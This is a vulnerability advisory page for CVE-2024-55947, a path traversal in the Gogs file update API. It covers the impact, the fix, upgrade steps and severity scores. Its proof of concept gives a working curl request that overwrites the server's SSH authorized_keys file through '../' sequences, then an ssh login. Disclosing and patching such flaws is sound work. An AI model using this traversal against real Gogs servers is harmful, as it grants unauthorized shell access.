Skip to main content

CVE-2024-55947 — Path Traversal in gogs.io/gogs — CVE Details

HIGH

Path Traversal in file update API in gogs

Published December 23, 2024Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (3.90%). Schedule for your next planned update.

Does your project use an affected gogs.io/gogs version?

Paste your go.sum to check it for CVE-2024-55947 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

  1. Generate a Personal Access Tokens

  2. Edit any file on the server with this

    curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
    -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
    -H "Content-Type: application/json" \
    --data '{
      "message": "an",
      "content": "<base64encoded: your ssh pub key>"
    }'
    
  3. ssh connect to remote server

    ssh -i temp git@localhost -p 10022
    

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Advisory Timeline

  • First published December 23, 2024 (703 days ago).
  • Last revised September 10, 2026 — 625 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update gogs.io/gogs to 0.13.1 or later
go get gogs.io/gogs@v0.13.1

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Go (1).

PackageFixed In
gogs.io/gogs Go · Affected: All versions0.13.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2024-55947?
Path Traversal in file update API in gogs. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2024-55947?
CVE-2024-55947 affects gogs.io/gogs. It has a 3.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-55947 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
3.90%
EPSS percentile: 91

This places it in the top 10% of EPSS-scored vulnerabilities — 91% of tracked vulnerabilities score at or below it, so it is substantially more likely to be exploited than most tracked vulnerabilities.

Also Known As

GHSA-qf5v-rp47-55gg
GO-2024-3356

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum